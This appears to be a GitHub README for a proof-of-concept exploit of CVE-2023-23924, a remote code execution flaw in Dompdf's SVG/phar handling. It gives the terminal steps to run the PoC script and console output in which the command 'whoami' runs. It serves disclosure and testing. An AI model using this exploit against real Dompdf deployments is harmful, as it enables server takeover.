motikan2010/cve-2023-23924CVE-2023-23924 (Dompdf - RCE) PoC
Dompdf는 SVG 파싱 시 URI 검증 실패에 취약함 · CVE-2023-23924 · GitHub 보안 권고 데이터베이스
https://github.com/advisories/GHSA-3cw5-7cxw-v5qg
# Terminal 1
❯ cd www
❯ php -S 127.0.0.1:9000 -t .
# Terminal 2
❯ cd src
❯ php cve_2023_23924.php
"whoami" 명령이 실행되는지 확인합니다.
❯ php cve_2023_23924.php
PHP Warning: file_get_contents(phar://./test.phar): failed to open stream: phar error: file "" in phar "./test.phar" cannot be empty in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
Warning: file_get_contents(phar://./test.phar): failed to open stream: phar error: file "" in phar "./test.phar" cannot be empty in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
PHP Notice: getimagesize(): Read error! in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 193
Notice: getimagesize(): Read error! in /Users/motikan2010/PhpstormProjects/CVE-2023-23924/vendor/phenx/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 193
motikan2010
❯ php cve_2023_23924.php
(no output)